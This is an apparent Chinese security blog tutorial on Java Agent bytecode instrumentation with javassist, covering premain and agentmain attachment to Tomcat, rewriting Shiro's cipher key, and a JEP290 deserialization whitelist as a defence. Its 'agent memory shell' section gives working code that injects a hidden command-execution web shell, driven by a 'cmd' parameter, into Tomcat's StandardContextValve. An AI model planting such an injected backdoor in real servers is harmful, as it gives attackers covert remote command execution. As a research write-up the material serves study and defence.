Javaagent入门

javaagent

Java Agentjdk1.5以后可以在运行时hook字节码的技术。

实现方式

Java Agent有两种实现方式:

  • 实现premain方法,通过-javaagent参数指定agent,可以在JVM启动前修改字节码。
  • 实现agentmain方法,通过VirtualMachine.attach()将agent附加在启动后的JVM进程中,从而动态地修改字节码。

premainagentmain方法有以下几种函数声明,其中有Instrumentation inst参数的优先级更高:

1
2
3
4
public static void agentmain(String agentArgs, Instrumentation inst)
public static void agentmain(String agentArgs)
public static void premain(String agentArgs, Instrumentation inst)
public static void premain(String agentArgs)

Instrumentationjava.lang.instrument包下面的一个接口,可用于监控和扩展JVM上运行的应用程序:

  • addTransformer/removeTransformer 添加或删除ClassFileTransformer
  • getAllLoadedClasses获取所有JVM加载的类
  • redefineClasses重新定义已经加载类的字节码
  • setNativeMethodPrefix动态设置JNI前缀,可以实现Hook nativ方法。
  • retransformClasses重新加载已经被JVM加载过的类的字节码

ClassFileTransformer是一个转换器,它有一个transform方法,返回的是转换后的字节码。

premain

实现premain需要做几件事:

  1. 创建一个实现了premain方法的类
  2. MANIFEST.MF文件中通过Premain-Class指定类名
  3. 将项目打包为Jar包

例如我现在在tomcat中定义了一个Servlet,而我现在想通过Java Agent 修改这个Servlet中的service()函数的运行逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package org.e4stjun.servlets;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/agent")
public class AgentServlet extends HttpServlet {
    String data = "1234";
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
            resp.getWriter().write(this.data);
    }
}

我现在需要在我的另一个Project中创建一个PremainTest类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.agents;

import org.agents.Transformers.ServletTransformer;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;

public class PremainTest {
    public static void premain(String agentArgs, Instrumentation instrumentation){
        ClassFileTransformer transformer = new ServletTransformer();
        instrumentation.addTransformer(transformer,true);
    }
}

这个类得要实现premain方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.agents;

import org.agents.Transformers.ServletTransformer;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;

public class PremainTest {
    public static void premain(String agentArgs, Instrumentation instrumentation){
        ClassFileTransformer transformer = new ServletTransformer();
        instrumentation.addTransformer(transformer,true);
    }
}

transform中找到我定义的AgentServlet类,获取到这个类的service方法并使用javassist对其进行修改,在这个函数前面加上一句data = "e4stjun"的语句去修改AgentServlet中的data属性:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.agents.Transformers;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class ServletTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if(className.equals("org/e4stjun/servlets/AgentServlet")){
            try{
                ClassPool pool = new ClassPool(true);
                pool.appendClassPath(new LoaderClassPath(loader));
                CtClass clazz = pool.getCtClass("org.e4stjun.servlets.AgentServlet");
                clazz.defrost();
                System.out.println(className);
                CtClass req = pool.getCtClass("javax.servlet.http.HttpServletRequest");
                CtClass resp = pool.getCtClass("javax.servlet.http.HttpServletResponse");
                CtMethod method = clazz.getDeclaredMethod("service",new CtClass[]{req,resp});
                method.insertBefore("{$0.data = \"e4stjun\";}");
                return clazz.toBytecode();
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

然后MANIFEST.MF文件中要加上这些内容,

1
2
3
Premain-Class: org.agents.PremainTest
Can-Redefine-Classes: true
Can-Retransform-Classes: true

我这里用mavenassembly打包插件实现这个步骤:

1
2
3
4
5
6
7
8
9
<configuration>
    <archive>
        <manifestEntries>
            <Premain-Class>org.agents.PremainTest</Premain-Class>
            <Can-Redefine-Classes>true</Can-Redefine-Classes>
            <Can-Retransform-Classes>true</Can-Retransform-Classes>
        </manifestEntries>
    </archive>
</configuration>

然后使用mvn package打一个带有所有依赖的jar包,具体操作方式可以参考一下之前这篇Maven打包相关的文章

在启动tomcat时再给JDK加上-javaagent:/path/to/agent.jar参数:

image-20230908103714599

然后再访问/agent这个路径的时候就会发现data变量已经被修改了:

image-20230908103901684

agentmain

使用agentmain可以在JDK启动后再动态修改class,也主要是这几个步骤:

  1. 创建一个实现了agentmain方法的类
  2. MANIFEST.MF文件中通过Agent-Class指定类名
  3. 将项目打包为Jar包

不过要使用这个Agent肯定不能再用-javaagent参数了,得要用VirtualMachineVirtualMachineDescriptor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package org.agents;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;

public class Main {
    public static void main(String[] args) throws Exception{
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            if (vmd.displayName().startsWith("org.apache.catalina.startup.Bootstrap")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("/path/to/agent.jar");;
                //virtualMachine.loadAgent(new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getAbsolutePath());
                virtualMachine.detach();
                System.out.println("success");
            }
        }
    }
}

这一段代码的主要逻辑就是遍历所有的虚拟机list,找到tomcat对应的虚拟机pid,向其中注册一个Agent,之后tomcat对应的进程就会调用Agentagentmain方法了。

不过这里有个坑就在于VirtualMachineVirtualMachineDescriptor这两个类位于jdk中的lib/tools.jar这个包里面这个包在JDK启动时默认是不会加载的。关于如何加载这个tools.jar,我目前主要有几个想法:

  • 首先我尝试将tools.jar这个包打包进Agent的jar包里面,这样在用java -jar 运行这个jar包的时候就不用担心找不到依赖的问题了,但是之后发现这个tools.jar不能跨平台使用,也就是我在Mac上打包的jar包跑到windows上运行是会报错的。如果用这种方法的话可能就需要每个平台都打包一遍了。

  • 之后看其他师傅的文章分析很多都是找到tools.jar的路径之后使用URLClassloader去加载里面的类,然后用反射调用类里面的方法,兼容性比较好。

  • 还有一个想法就是:使用agentmainJava Agent一般是要落地才行的,可以试试直接在落地之后用java -jar命令同时指定外部依赖包:

    1
    2
    3
    4
    5
    6
    
    java -Xbootclasspath/a:${JAVA_HOME}/lib/tools.jar -jar target/agent.jar
    //使用Bootstrap Classloader加载
    java -Djava.ext.dirs=${JAVA_HOME}/lib/ -jar target/agent.jar
    //使用Extension Classloader加载目录下所有jar包
    java -cp ${JAVA_HOME}/lib/tools.jar:target/agent.jar org.agents.Main
    //java -cp命令
    

    例如这是一段调用java命令加载加载Agent的代码:

    1
    2
    3
    4
    
    String java_bin = String.format("%s/bin/java",System.getProperty("java.home"));
    String tools = String.format("-Djava.ext.dirs=%s/../lib",System.getProperty("java.home"));
    String agent_path = "/path/to/agent.jar";
    Runtime.getRuntime().exec(new String[]{java_bin,tools,"-jar",agent_path});
    

那接着如何构造一个这样子的jar包呢,其实也和premain的方法差不多,首先有一个类实现agentmain()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.agents;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import org.agents.Transformers.ServletTransformer;

public class AgentTest {
    public static void agentmain(String agentArgs, Instrumentation instrumentation) {
        Class[] allLoadedClasses = instrumentation.getAllLoadedClasses();
        for (Class loadedClass : allLoadedClasses) {
            if(loadedClass.getName().equals("org.testpackage.servlets.AgentServlet")){
                System.out.println(loadedClass.getName());
                try {
                    ClassFileTransformer transformer = new ServletTransformer();
                    instrumentation.addTransformer(transformer, true);
                    instrumentation.retransformClasses(loadedClass);
                    System.out.println("success");
                    instrumentation.removeTransformer(transformer);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

然后用maven指定Agent-Class,这样子在执行loadAgent操作以后对应的进程就会找到这个AgentTest类,调用它的premain方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<configuration>
    <archive>
        <manifestEntries>
            <Agent-Class>org.agents.AgentTest</Agent-Class>
            <Main-Class>org.agents.Main</Main-Class>
            <Can-Redefine-Classes>true</Can-Redefine-Classes>
            <Can-Retransform-Classes>true</Can-Retransform-Classes>
            <Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
        </manifestEntries>
    </archive>
</configuration>

接着这个agentmain()方法就遍历所有已加载的类,找到AgentServlet类,在执行retransformClasses()方法的时候就会使用transform重新加载AgentServlet类的字节码。

ServletTransformer的代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.agents.Transformers;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class ServletTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if(className.equals("org/e4stjun/servlets/AgentServlet")){
            try{
                ClassPool pool = new ClassPool(true);
                pool.appendClassPath(new LoaderClassPath(loader));
                CtClass clazz = pool.getCtClass("org.e4stjun.servlets.AgentServlet");
                clazz.defrost();
                System.out.println(className);
                CtClass req = pool.getCtClass("javax.servlet.http.HttpServletRequest");
                CtClass resp = pool.getCtClass("javax.servlet.http.HttpServletResponse");
                CtMethod method = clazz.getDeclaredMethod("service",new CtClass[]{req,resp});
                method.insertBefore("{java.lang.Runtime.getRuntime().exec(new String[]{\"open\",\"-a\",\"Calculator\"});}");
                return clazz.toBytecode();
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

代码的主要逻辑也是找到对应的类,向方法前面加入弹计算器的代码。然后通过java -jar去Attach到tomcat的进程,让他加载这个Agent

image-20230909163729409

再访问/agent就会出现计算器了:

image-20230909163926777

agent型内存马

到这里我已经可以动态地修改字节码了,可以尝试向tomcat中注入内存马了,之后只需要在tomcat中找到一个在处理请求时一定会调用的类,向其中加入恶意代码,例如我使用的是org.apache.catalina.core.StandardContextValve这个类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.agents.Transformers;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MemshellTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if(className.equals("org/apache/catalina/core/StandardContextValve")){
            try{
                ClassPool pool = new ClassPool(true);
                pool.appendClassPath(new LoaderClassPath(loader));
                CtClass clazz = pool.getCtClass("org.apache.catalina.core.StandardContextValve");
                clazz.defrost();
                System.out.println(className);
                CtClass req = pool.getCtClass("org.apache.catalina.connector.Request");
                CtClass resp = pool.getCtClass("org.apache.catalina.connector.Response");
                CtMethod method = clazz.getDeclaredMethod("invoke",new CtClass[]{req,resp});
                method.insertBefore("{if ($1.getParameter(\"cmd\") != null) {java.io.InputStream in = java.lang.Runtime.getRuntime().exec($1.getParameter(\"cmd\")).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\A\");String output = s.hasNext() ? s.next() : \"\";$2.getWriter().write(output);}}");
                return clazz.toBytecode();
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

使用insertBefore()向它的invoke方法加入一段恶意代码完成内存马的注入:

image-20230911091251078

修改shiro的key

在shiro中,这两个函数用于获取shiro的key:

image-20230911184616301

那么实际上只要修改这两个函数的字节码就能达到修改shirokey的目的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.agents.Transformers;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class ShiroKeyTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if(className.equals("org/apache/shiro/mgt/AbstractRememberMeManager")){
            try{
                ClassPool pool = new ClassPool(true);
                pool.appendClassPath(new LoaderClassPath(loader));
                CtClass clazz = pool.getCtClass("org.apache.shiro.mgt.AbstractRememberMeManager");
                clazz.defrost();
                System.out.println(className);
                CtMethod method = clazz.getDeclaredMethod("getEncryptionCipherKey");
                CtMethod method1 = clazz.getDeclaredMethod("getDecryptionCipherKey");
                String code = "{return java.util.Base64.getDecoder().decode(\"3JvYhmBLUs0ETA5Kprsdag==\");}";
                method.insertBefore(code);
                method1.insertBefore(code);
                return clazz.toBytecode();
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

key被修改后再使用shiro_attack进行爆破的效果如下:

image-20230911185142928

使用JEP290防御shiro反序列化

先不考虑用户伪造的问题,理论上即使不修改shiro的key也可以防御住shiro反序列化,只要利用JEP290特性给ObjectInputStream设置一个ObjectInputFilter,只允许反序列化白名单中的类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.agents.Transformers;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class ShiroSerializerTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("org/apache/shiro/io/DefaultSerializer")) {
            try {
                ClassPool pool = new ClassPool(true);
                pool.appendClassPath(new LoaderClassPath(loader));
                CtClass clazz = pool.getCtClass("org.apache.shiro.io.DefaultSerializer");
                clazz.defrost();
                System.out.println(className);
                CtMethod method = clazz.getDeclaredMethod("deserialize");
                System.out.println(method);
                String code = "{if ($1 == null) {\n" +
                        "            String msg = \"argument cannot be null.\";\n" +
                        "            throw new java.lang.IllegalArgumentException(msg);\n" +
                        "        } else {\n" +
                        "            java.io.ByteArrayInputStream bais = new java.io.ByteArrayInputStream($1);\n" +
                        "            java.io.BufferedInputStream bis = new java.io.BufferedInputStream(bais);\n" +
                        "\n" +
                        "            try {\n" +
                        "                java.io.ObjectInputStream ois = new org.apache.shiro.io.ClassResolvingObjectInputStream(bis);\n" +
                        "                sun.misc.ObjectInputFilter filter = sun.misc.ObjectInputFilter.Config.createFilter(\"org.apache.shiro.subject.*\");\n" +
                        "                sun.misc.ObjectInputFilter.Config.setObjectInputFilter(ois,filter);\n" +
                        "                java.lang.Object deserialized = ois.readObject();\n" +
                        "                ois.close();\n" +
                        "                return deserialized;\n" +
                        "            } catch (Exception var6) {\n" +
                        "                String msg = \"Unable to deserialze argument byte array.\";\n" +
                        "                throw new org.apache.shiro.io.SerializationException(msg, var6);\n" +
                        "            }\n" +
                        "        }" +
                        "}";
                method.setBody(code);
                return clazz.toBytecode();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

再进行爆破就会出现有key无链了:

image-20231117100850973

Referer

JavaAgent内存马研究

Java Agent 从入门到内存马

updatedupdated2023-11-172023-11-17